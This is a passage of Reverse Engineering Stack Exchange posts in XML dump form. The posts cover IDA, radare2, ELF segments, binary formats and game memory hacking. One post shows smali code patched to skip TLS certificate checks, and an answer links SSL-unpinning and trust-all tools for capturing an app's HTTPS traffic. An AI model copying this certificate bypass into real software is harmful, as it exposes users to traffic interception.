; stdout&#xA;    mov     rax, sys_write&#xA;    syscall&#xA;    ret&#xA;&#xA;main:&#xA;    mov rdi, msg&#xA;    call print&#xA;    xor rdi, rdi&#xA;    mov rax, sys_exit&#xA;    syscall&#xA;&#xA;segment readable&#xA;msg db &amp;quot;This is a message.&amp;quot;, 0xA, 0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;When I disassemble with IDA Pro, under the segments I see this:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/ahIwZ.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/ahIwZ.png&quot; alt=&quot;IDA Pro Segments Tab&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;My question is, why are both segments called LOAD? What is the meaning behind this? I did not name the segments in my program.&lt;/p&gt;&#xA;" OwnerUserId="25131" LastEditorUserId="245" LastEditDate="2023-01-19T09:02:59.260" LastActivityDate="2023-01-19T09:02:59.260" Title="What are these LOAD segments in an assembly ELF64?" Tags="|ida|assembly|elf|x86-64|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18884" PostTypeId="1" CreationDate="2018-07-24T20:26:56.123" Score="2" ViewCount="373" Body="&lt;p&gt;I am trying to capture https requests an application performs during runtime without any success yet. Different failing approaches, using mitmproxy / charles proxy and user ca certificates, obtaining smali code in order to bypass x509Certificate checks, installing ca cert as system to avoid certificate pinning, using different xposed applications (outdated, still worth a try), make me wonder what it is that I am missing. It is only possible to capture chrome's https traffic, other applications refuse to load / connect. To be fair, one might ask why I don't figure out myself where requests are built and log all needed information. Personally, I think a working method capturing said traffic saves a lot of time and work. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# virtual methods&#xA;.method public checkClientTrusted([Ljava/security/cert/X509Certificate;Ljava/lang/String;)V&#xA;    .locals 1&#xA;return-void #!!&#xA;&#xA;iget-object v0, p0, La/a/a/a/e/d/d$a;-&amp;gt;a:Ljavax/net/ssl/X509TrustManager;&#xA;&#xA;invoke-interface {v0, p1, p2}, Ljavax/net/ssl/X509TrustManager;-&amp;gt;checkClientTrusted([Ljava/security/cert/X509Certificate;Ljava/lang/String;)V&#xA;&#xA;return-void&#xA;.end method&#xA;&#xA;.method public checkServerTrusted([Ljava/security/cert/X509Certificate;Ljava/lang/String;)V&#xA;    .locals 1&#xA;&#xA;return-void #!!&#xA;&#xA;iget-object v0, p0, La/a/a/a/e/d/d$a;-&amp;gt;b:La/a/a/a/e/d/i;&#xA;&#xA;invoke-interface {v0, p1, p2}, La/a/a/a/e/d/i;-&amp;gt;a([Ljava/security/cert/X509Certificate;Ljava/lang/String;)Z&#xA;&#xA;move-result v0&#xA;&#xA;if-nez v0, :cond_0&#xA;&#xA;iget-object v0, p0, La/a/a/a/e/d/d$a;-&amp;gt;a:Ljavax/net/ssl/X509TrustManager;&#xA;&#xA;    invoke-interface {v0, p1, p2}, Ljavax/net/ssl/X509TrustManager;-&amp;gt;checkServerTrusted([Ljava/security/cert/X509Certificate;Ljava/lang/String;)V&#xA;&#xA;    :cond_0&#xA;    return-void&#xA;.end method&#xA;&#xA;.method public getAcceptedIssuers()[Ljava/security/cert/X509Certificate;&#xA;    .locals 1&#xA;&#xA;return-void #!!&#xA;&#xA;iget-object v0, p0, La/a/a/a/e/d/d$a;-&amp;gt;a:Ljavax/net/ssl/X509TrustManager;&#xA;&#xA;invoke-interface {v0}, Ljavax/net/ssl/X509TrustManager;-&amp;gt;getAcceptedIssuers()[Ljava/security/cert/X509Certificate;&#xA;&#xA;move-result-object v0&#xA;&#xA;return-object v0&#xA;.end method&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you're successfully capturing traffic (especially https) please let me know your procedure in order to achieve what the question is asking for. &lt;/p&gt;&#xA;" OwnerUserId="25130" LastActivityDate="2018-07-27T20:30:30.303" Title="Android 7.0+ Monitoring application HTTPS requests" Tags="|decompilation|android|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="18885" PostTypeId="1" CreationDate="2018-07-24T20:59:47.543" Score="4" ViewCount="11030" Body="&lt;p&gt;When I want to debug an exe in Windows, what advantages does OllyDbg have over IDA?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In IDA, I'm using the WinDbg debugger back-end.&lt;/p&gt;&#xA;" OwnerUserId="23993" LastEditorUserId="20928" LastEditDate="2018-07-25T00:27:41.363" LastActivityDate="2018-07-25T06:14:44.763" Title="What is the difference between IDA and OllyDbg?" Tags="|ida|windows|ollydbg|debugging|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18886" PostTypeId="2" ParentId="18882" CreationDate="2018-07-24T23:41:44.387" Score="4" Body="&lt;p&gt;It is a bit reversal algorithm. I am not sure if the numbers shown for the OP's examples are correct. If I start (in MS VStudios inline assembler) with &lt;code&gt;0x12345678&lt;/code&gt; (as a &lt;code&gt;DWORD&lt;/code&gt;), or&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0001 0010 0011 0100 0101 0110 0111 1000&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;then I end up with its bit reversal, being &lt;code&gt;0x1E6A2C48&lt;/code&gt;, or&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0001 1110 0110 1010 0010 1100 0100 1000&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The algorithm looks similar to the &quot;&lt;em&gt;Generalized Bit Reversal&lt;/em&gt;&quot; in the Book &quot;&lt;em&gt;Hackers Delight&lt;/em&gt;&quot; by Henry S. Warren Jr., 2nd edition, on p.129 (in my pdf version), although not verified. Quote:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (k &amp;amp; 1) x = (x &amp;amp; 0x55555555) &amp;lt;&amp;lt; 1 | (x &amp;amp; 0xAAAAAAAA) &amp;gt;&amp;gt; 1;&#xA;if (k &amp;amp; 2) x = (x &amp;amp; 0x33333333) &amp;lt;&amp;lt; 2 | (x &amp;amp; 0xCCCCCCCC) &amp;gt;&amp;gt; 2;&#xA;if (k &amp;amp; 4) x = (x &amp;amp; 0x0F0F0F0F) &amp;lt;&amp;lt; 4 | (x &amp;amp; 0xF0F0F0F0) &amp;gt;&amp;gt; 4;&#xA;if (k &amp;amp; 8) x = (x &amp;amp; 0x00FF00FF) &amp;lt;&amp;lt; 8 | (x &amp;amp; 0xFF00FF00) &amp;gt;&amp;gt; 8;&#xA;if (k &amp;amp; 16) x = (x &amp;amp; 0x0000FFFF) &amp;lt;&amp;lt; 16 | (x &amp;amp; 0xFFFF0000) &amp;gt;&amp;gt; 16;&#xA;// The last two 'and' operations can be omitted.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12800" LastEditorUserId="53" LastEditDate="2018-07-25T07:59:19.713" LastActivityDate="2018-07-25T07:59:19.713" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="18887" PostTypeId="2" ParentId="18885" CreationDate="2018-07-25T00:36:25.817" Score="9" Body="&lt;p&gt;To put it very simply, there are two primary methods of analysis:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Static Analysis&lt;/strong&gt;: Analyzing an executable while it's not running.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Dynamic Analysis&lt;/strong&gt;: Analyzing an executable while it's running.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;IDA is primarily geared towards &lt;em&gt;static&lt;/em&gt; analysis (though it does have dynamic debugging functionality, as you've noted), where OllyDbg (and x32dbg/x64dbg, Immunity Debugger, WinDbg, Cheat Engine, etc.) is geared towards &lt;em&gt;dynamic&lt;/em&gt; analysis.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's not uncommon that you would run IDA and OllyDbg simultaneously. If you would like a great example of use cases to see both in action (individually and together), consider the following workshop: &lt;a href=&quot;https://www.begin.re/&quot; rel=&quot;noreferrer&quot;&gt;Reverse Engineering for Beginners&lt;/a&gt; (specifically, &lt;a href=&quot;https://www.begin.re/hacking-minesweeper&quot; rel=&quot;noreferrer&quot;&gt;the final section&lt;/a&gt; regarding hacking Minesweeper)&lt;/p&gt;&#xA;" OwnerUserId="20928" LastActivityDate="2018-07-25T00:36:25.817" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18889" PostTypeId="2" ParentId="18591" CreationDate="2018-07-25T01:56:20.817" Score="1" Body="&lt;p&gt;Hope it is not too late. I will try to help you on this. I've been go through this and that to reverse engineer that exactly same library. &lt;code&gt;libBodyfat.so&lt;/code&gt;. As @TheKalin answered, you will find few &lt;code&gt;.so&lt;/code&gt; files in the folder. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I found x86-64 is the easiest to read compare to others. Here are the tools that I used to reverse engineer the library:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.hex-rays.com/products/ida/support/download_freeware.shtml&quot; rel=&quot;nofollow noreferrer&quot;&gt;IDA-free&lt;/a&gt;. It will list the constant value nicely.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.hopperapp.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;HopperApp&lt;/a&gt;. I used it for disassemble and decompile to c-like language. It also able to disassemble ARM. You can try the demo version, but it will close the app for sometimes and you need to re-open it.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://gregstoll.dyndns.org/~gregstoll/floattohex/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Hex to Float Convt.&lt;/a&gt;. Some constant values are used in the formula, I converted those values with this website.&lt;/li&gt;&#xA;&lt;li&gt;And websites to learn how the assembly instructions work.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I manage to convert some of the functions (init &amp;amp; body fat percentage) to javascript functions&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here it is. I have not clean up the code yet. And please do let me know if there is mistakes or something that I need to improve.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://gist.github.com/mamadcloud/95c8fe8f5816286f2ad62c81f937e6b6&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://gist.github.com/mamadcloud/95c8fe8f5816286f2ad62c81f937e6b6&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope it is helpful.&lt;/p&gt;&#xA;" OwnerUserId="25135" LastActivityDate="2018-07-25T01:56:20.817" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="18890" PostTypeId="2" ParentId="18883" CreationDate="2018-07-25T01:57:19.673" Score="2" Body="&lt;p&gt;The segments are called &lt;code&gt;LOAD&lt;/code&gt; because that is the default name given to segments loaded from an ELF in IDA when they have no name.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The first segment is the equivalent of &lt;code&gt;.text&lt;/code&gt;, it contains executable code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The second segment is the equivalent of &lt;code&gt;.rdata&lt;/code&gt;, it contains read-only data that is not executable.&lt;/p&gt;&#xA;" OwnerUserId="266" LastActivityDate="2018-07-25T01:57:19.673" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18891" PostTypeId="1" AcceptedAnswerId="18892" CreationDate="2018-07-25T05:08:07.673" Score="3" ViewCount="1613" Body="&lt;p&gt;With Radare2, I love the &lt;code&gt;iI&lt;/code&gt; command.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to limit the output with grep or radare's own grep syntax.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I run a &lt;code&gt;iI | grep -E 'bits | pic | stripped'&lt;/code&gt; against my binary?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[0x100001200]&amp;gt; iI&#xA;arch     x86&#xA;binsz    38688&#xA;bintype  mach0&#xA;bits     64&#xA;....&#xA;..&#xA;.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;My intention is to run this command inside a python script using &lt;code&gt;r2pipe&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="23566" LastActivityDate="2018-10-27T11:05:53.897" Title="grep -E with Radare2" Tags="|radare2|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18892" PostTypeId="2" ParentId="18891" CreationDate="2018-07-25T06:09:30.603" Score="6" Body="&lt;p&gt;Radare's grep is done by using the &lt;code&gt;~&lt;/code&gt; character.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; ~?&amp;lt;br&amp;gt;&#xA;|Usage: [command]~[modifier][word,word][endmodifier][[column]][:line]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So to have the output you want just run:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;iI~bits,pic,stripped&#xA;&#xA;[0x100001200]&amp;gt; iI~bits,pic,stripped&#xA;bits     64&#xA;pic      true&#xA;stripped true&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The same command you should run in your script. There's a lot of more that this grep can do. To get the help of it just run the &lt;code&gt;~?&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="18014" LastEditorUserId="22669" LastEditDate="2018-10-27T11:05:53.897" LastActivityDate="2018-10-27T11:05:53.897" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="18893" PostTypeId="2" ParentId="18885" CreationDate="2018-07-25T06:14:44.763" Score="6" Body="&lt;p&gt;OllyDbg is a debugger for Windows x32 and x64 and its only focus is dynamic analysis, although it can be also used for non deep static analysis.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;IDA is the de-facto tool for doing static analysis and also supports dynamic analysis (i.e.: debugging) for several architectures, backends and operating systems.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;OllyDbg doesn't have any real advantage over IDA other than, most of the time, the people using OllyDbg are used to use OllyDbg since long ago. Actually, it isn't maintained any more (or is it?) while IDA is actively maintained. One real advantage over IDA, however, is that OllyDbg is freeware while IDA is a commercial application and its freeware version lacks debugging capabilities.&lt;/p&gt;&#xA;" OwnerUserId="111" LastActivityDate="2018-07-25T06:14:44.763" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="18894" PostTypeId="2" ParentId="18884" CreationDate="2018-07-25T06:55:10.150" Score="1" Body="&lt;p&gt;Do you have root on your phone or not? If yes - install &lt;a href=&quot;https://repo.xposed.info/module/de.robv.android.xposed.installer&quot; rel=&quot;nofollow noreferrer&quot;&gt;xposed framework&lt;/a&gt; and try one of this modules:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/ac-pm/SSLUnpinning_Xposed&quot; rel=&quot;nofollow noreferrer&quot;&gt;SSLUnpining&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/Fuzion24/JustTrustMe&quot; rel=&quot;nofollow noreferrer&quot;&gt;JustTrustMe&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;As the alternative to xposed framework you can use frida and &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://techblog.mediaservice.net/2017/07/universal-android-ssl-pinning-bypass-with-frida/&quot; rel=&quot;nofollow noreferrer&quot;&gt;universal bypass script &lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you don't have root on your device you need to change &#xA;the smali code in few places, look for SSlContext and SSLSocketFactory. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can check this &lt;a href=&quot;https://github.com/iSECPartners/android-ssl-bypass/blob/master/AndroidSSLBypassHelperApp/src/com/isec/helperapp/TrustAllTrustManager.java&quot; rel=&quot;nofollow noreferrer&quot;&gt;implementation of trust manager &lt;/a&gt; and recreate this in the app. &lt;/p&gt;&#xA;" OwnerUserId="24703" LastEditorUserId="2147" LastEditDate="2018-07-27T20:30:30.303" LastActivityDate="2018-07-27T20:30:30.303" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="18895" PostTypeId="2" ParentId="18866" CreationDate="2018-07-25T07:52:19.263" Score="1" Body="&lt;p&gt;I want to say yes, but I have to say &lt;strong&gt;NO&lt;/strong&gt;. The thing is that computers grab our programs that we write and optimize them in a way that often will make little or no sense to humans. You'll see things being multiplied and arrays being worked with that you can understand what is happening , but it is very unhuman to work with data in this kind of way. &lt;strong&gt;Computers and humans think very differently.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think could be possible for an AI to do the following:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Grab the assembly and convert and either make it clearer for&#xA;humans to understand.&lt;/li&gt;&#xA;&lt;li&gt;Make a near useable form of assembly. (Maybe.... Because we would be keeping the computer's understanding of the relative data intact. )&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Take this simple example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;MOV v7, DWORD PTR [v7 + 0x8]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;would convert to &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;v7 = *(_DWORD *)(v7 + 8);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;then to&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;v7 = *(v7 + 8)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And this might be really something completely different in source.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;where as you might see something like&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mov eax, dword ptr ds: [ESI*deadbeef+0b0] &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and the computer will think&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;int a = somefoovar[v5].someint&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;int a = 1234;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Both are kind of correct... If that array doesn't have changing data in it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;but a computer might look at this as a single variable, when it could be something temporary. Also I have noticed that in my own decompilation work, that you'll wind up with a lot more static variables that are when you originally start.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think some other problems might be that the program might not ever hit certain parts of a function and might not understand all event paths.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Personally, I would like to see AI what AI can come up with . Maybe it would be nice to have a pseudo translator of code. But I know that I will have to clean up after it and correct it's understandings.&lt;/p&gt;&#xA;" OwnerUserId="6992" LastActivityDate="2018-07-25T07:52:19.263" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18896" PostTypeId="1" CreationDate="2018-07-25T10:43:18.190" Score="3" ViewCount="135" Body="&lt;p&gt;I'm attempting to automate tedious processes when using the EasyBuilder Pro software by Weintek, which is programming software for industrial HMIs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Long story short, I need the ability to fill the user's clipboard with binary data based on a kind of template that they can then paste into the software.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've managed to extract the following hex data using Nirsoft's InsideClipboard, when copying a single button with text &quot;Auto&quot;, which is mapped to a memory address &quot;10.00&quot;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;00000000   FF FF 3F AF 5F 0C 01 00 FF FF 56 10 0C 00 50 00    ÿÿ?¯_...ÿÿV...P.&#xA;00000010   C5 00 00 00 61 00 06 00 00 00 68 00 00 00 43 00    Å...a.....h...C.&#xA;00000020   00 00 81 00 00 00 04 00 00 00 00 00 00 00 00 00    ...............&#xA;00000030   00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 00    ................&#xA;00000040   00 00 00 00 00 00 01 00 00 00 00 00 00 00 00 00    ................&#xA;00000050   02 00 00 00 09 00 4C 6F 63 61 6C 20 48 4D 49 FF    ......Local HMIÿ&#xA;00000060   00 00 0E 00 4F 4D 52 4F 4E 20 45 74 68 65 72 6E    ....OMRON Ethern&#xA;00000070   65 74 B3 01 00 01 00 FF FF 01 00 0B 00 43 50 61    et³....ÿÿ....CPa&#xA;00000080   72 74 4F 62 6A 65 63 74 1B FF FE FF 00 00 FF FE    rtObject.ÿþÿ..ÿþ&#xA;00000090   FF 0E 4F 00 4D 00 52 00 4F 00 4E 00 20 00 45 00    ÿ.O.M.R.O.N. .E.&#xA;000000A0   74 00 68 00 65 00 72 00 6E 00 65 00 74 00 FF FE    t.h.e.r.n.e.t.ÿþ&#xA;000000B0   FF 0E 4F 00 4D 00 52 00 4F 00 4E 00 20 00 45 00    ÿ.O.M.R.O.N. .E.&#xA;000000C0   74 00 68 00 65 00 72 00 6E 00 65 00 74 00 FF FE    t.h.e.r.n.e.t.ÿþ&#xA;000000D0   FF 09 4C 00 6F 00 63 00 61 00 6C 00 20 00 48 00    ÿ.L.o.c.a.l. .H.&#xA;000000E0   4D 00 49 00 E2 4F 0E A5 35 5F 58 EB AC 5E AE D0    M.I.âO.¥5_Xë¬^®Ð&#xA;000000F0   81 7D 45 F3 00 00 00 00 02 02 00 FF FE FF 05 31    }Eó.......ÿþÿ.1&#xA;00000100   00 30 00 2E 00 30 00 30 00 FF FE FF 05 31 00 30    .0...0.0.ÿþÿ.1.0&#xA;00000110   00 2E 00 30 00 30 00 FF FE FF 01 30 00 02 02 02    ...0.0.ÿþÿ.0....&#xA;00000120   01 01 01 01 00 02 00 00 00 05 00 00 00 02 00 00    ................&#xA;00000130   00 01 00 00 01 00 00 00 00 01 00 00 01 00 00 00    ................&#xA;00000140   00 00 00 00 00 FF FE FF 05 4D 00 6F 00 64 00 65    .....ÿþÿ.M.o.d.e&#xA;00000150   00 73 00 00 00 00 00 00 00 00 00 00 00 00 00 FF    .s.............ÿ&#xA;00000160   FE FF 00 FF FE FF 00 FF FE FF 00 00 00 00 00 00    þÿ.ÿþÿ.ÿþÿ......&#xA;00000170   00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    ................&#xA;00000180   00 00 00 00 00 00 0A 00 00 00 00 00 22 00 01 01    ............&quot;...&#xA;00000190   00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    ................&#xA;000001A0   00 00 00 00 00 01 00 00 00 00 00 00 00 00 00 00    ................&#xA;000001B0   FF FE FF 01 30 00 1B 00 00 00 00 02 00 00 00 00    ÿþÿ.0...........&#xA;000001C0   00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    ................&#xA;000001D0   00 00 00 00 00 06 00 00 00 68 00 00 00 43 00 00    .........h...C..&#xA;000001E0   00 81 00 00 00 00 E6 E6 FA 00 F0 F0 F0 00 32 CD    .....ææú.ððð.2Í&#xA;000001F0   32 00 F0 F0 F0 00 00 00 00 00 00 00 00 00 80 80    2.ððð.........€€&#xA;00000200   FF 00 00 F0 F0 F0 00 00 F0 F0 F0 00 00 00 00 00    ÿ..ððð..ððð.....&#xA;00000210   00 01 00 00 FF FE FF 04 41 00 75 00 74 00 6F 00    ....ÿþÿ.A.u.t.o.&#xA;00000220   FF FE FF 05 41 00 72 00 69 00 61 00 6C 00 0A 17    ÿþÿ.A.r.i.a.l...&#xA;00000230   00 00 00 6C 00 00 00 00 00 00 00 00 00 00 FF FE    ...l..........ÿþ&#xA;00000240   FF 04 41 00 75 00 74 00 6F 00 FF FE FF 05 41 00    ÿ.A.u.t.o.ÿþÿ.A.&#xA;00000250   72 00 69 00 61 00 6C 00 0A 17 00 00 00 6D 00 00    r.i.a.l......m..&#xA;00000260   00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    ................&#xA;00000270   00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    ................&#xA;00000280   00 00 00 00 00 00 00 00 00 00 00 00                ............ &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I can obviously pick out some text strings for various bits and pieces, but the rest is fairly incomprehensible.&#xA;I'm guessing it must contain properties such as the size of the button, color, position etc.&#xA;Can anyone give me any pointers as to where I could begin properly decoding this data, in view of reconstructing it with my own parameters?&lt;/p&gt;&#xA;" OwnerUserId="13446" LastActivityDate="2018-07-25T10:43:18.190" Title="Interpreting clipboard data from HMI software" Tags="|file-format|binary-format|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="18897" PostTypeId="2" ParentId="18879" CreationDate="2018-07-25T11:19:35.920" Score="4" Body="&lt;p&gt;&lt;em&gt;Note: This does not answers the question using x32dbg/ollydbg, but another tool. (I can't seem to be able to post a comment). My apologies if it is off topic.&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;You can try with &lt;a href=&quot;https://www.cheatengine.org/&quot; rel=&quot;nofollow noreferrer&quot; title=&quot;Cheat Engine&quot;&gt;Cheat engine&lt;/a&gt; (CE).&lt;/p&gt;&#xA;&lt;p&gt;If yes, download the installer-less release, because the installer includes crap:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/ZLRDI.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/ZLRDI.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;I assume you downloaded it and extracted it at this point.&lt;/p&gt;&#xA;&lt;p&gt;This software has a really nice integrated tutorial which is another .exe shipped in the folder. Read more about it &lt;a href=&quot;https://wiki.cheatengine.org/index.php?title=Tutorials:Cheat_Engine_Tutorial_Guide_x64&quot; rel=&quot;nofollow noreferrer&quot;&gt;HERE&lt;/a&gt; (it is for 64 bits, but it should give you an idea on how to run the 32 bit tutorial). Try to go through it (or skip the steps - bottom right corner), and at some point (step 6 and 8) your problem will be addressed (no pun intended).&lt;/p&gt;&#xA;&lt;p&gt;Good luck :)&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;h1&gt;Addendum&lt;/h1&gt;&#xA;&lt;p&gt;&lt;strong&gt;Reading from the comments you posted below&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;em&gt;I'm usually not lucky enough to pick the right one straight away [...]&lt;/em&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Although it is not perfect, CE has this tool called the &amp;quot;pointer scan&amp;quot; (you might already know this tool, I'm thinking about new CE users) where it kind of brute forces the offsets and goes down more than one level of depth. It might work after lots of effort.&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;em&gt;So I thought learning how to use them with small self-written programs would be the smartest way of getting into it. But as @mrexodia pointed out already, player objects are usually not allocated on the stack.&lt;/em&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Speaking more generally (I deviate from your pointer question), I think that this is a very good approach. Example : with this approach I once discovered an opcode I didn't know about / &lt;code&gt;cmov&lt;/code&gt; (or &lt;code&gt;cmovcc&lt;/code&gt; in manuals) while dissassembling a game of mine and therefore I knew exactly how things were laid down in the memory and in the code. Very instructive for me, definitely a +1. You could also learn about compiler optimizations by comparing the code and the generated assembly.&lt;/p&gt;&#xA;&lt;p&gt;When it comes to more complex games, try to practise on indie games (singleplayer of course) or open source (because they are accessible). Try &lt;a href=&quot;https://assault.cubers.net/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Assault cube&lt;/a&gt; (or &lt;a href=&quot;http://acr.victorz.ca/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Assault cube reloaded&lt;/a&gt;). This game is quite enjoyable to practise on because there are no debugging protections nor anti-cheat system, ... You can for example find pointers to the local player, or modify the game code / making your team invincible, infinite ammo and so on...&lt;/p&gt;&#xA;&lt;h1&gt;A workaround to your problem&lt;/h1&gt;&#xA;&lt;p&gt;This is an intuition and not based on facts, but I beleive that games made in virtual machines such as Java, C#, or OS features such as address randomization ... are harder to debug in assembly and could be unpredictable in terms of pointer finding, ... .&#xA;A method I like to use (to find the local player, most of the time) is using &amp;quot;code hooking&amp;quot;.&lt;/p&gt;&#xA;&lt;p&gt;For example, if you want to find the address to the local player in AssaultCube (or an other game) you could find the GUI code that draws the player ammo/health on screen, because if your game displays to you that you have 100Hp, well it got to extract the value somewhere. What you could do in this case is using CE and find the Hp, finding what code accesses this address and hopefully there will be along the lines, the GUI code that intercepts this value. From there you can retreive the player base address. What is really good about this technique is that you don't have to mess around with pointers, it's a pretty straight forward way to get your player address.&lt;/p&gt;&#xA;&lt;p&gt;The downside is that you have to inject some code to reteive it. You could inject a hand crafted program (C, C++, ...) or use a CE trainer to acheive this effect. Using a debugger at this point may help you to understand where the data comes from and hopefully find a way to get the pointer.&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;em&gt;so my whole idea seems to be stupid&lt;/em&gt; / &lt;em&gt;My biggest problem is that I'm not really a smart kind of a person&lt;/em&gt; / &lt;em&gt;or would you say that it's a waste of time for a person like me&lt;/em&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;No it is not stupid, you can totally get it to there, to me you are definitely not &amp;quot;not really a smart kind of a person&amp;quot; because 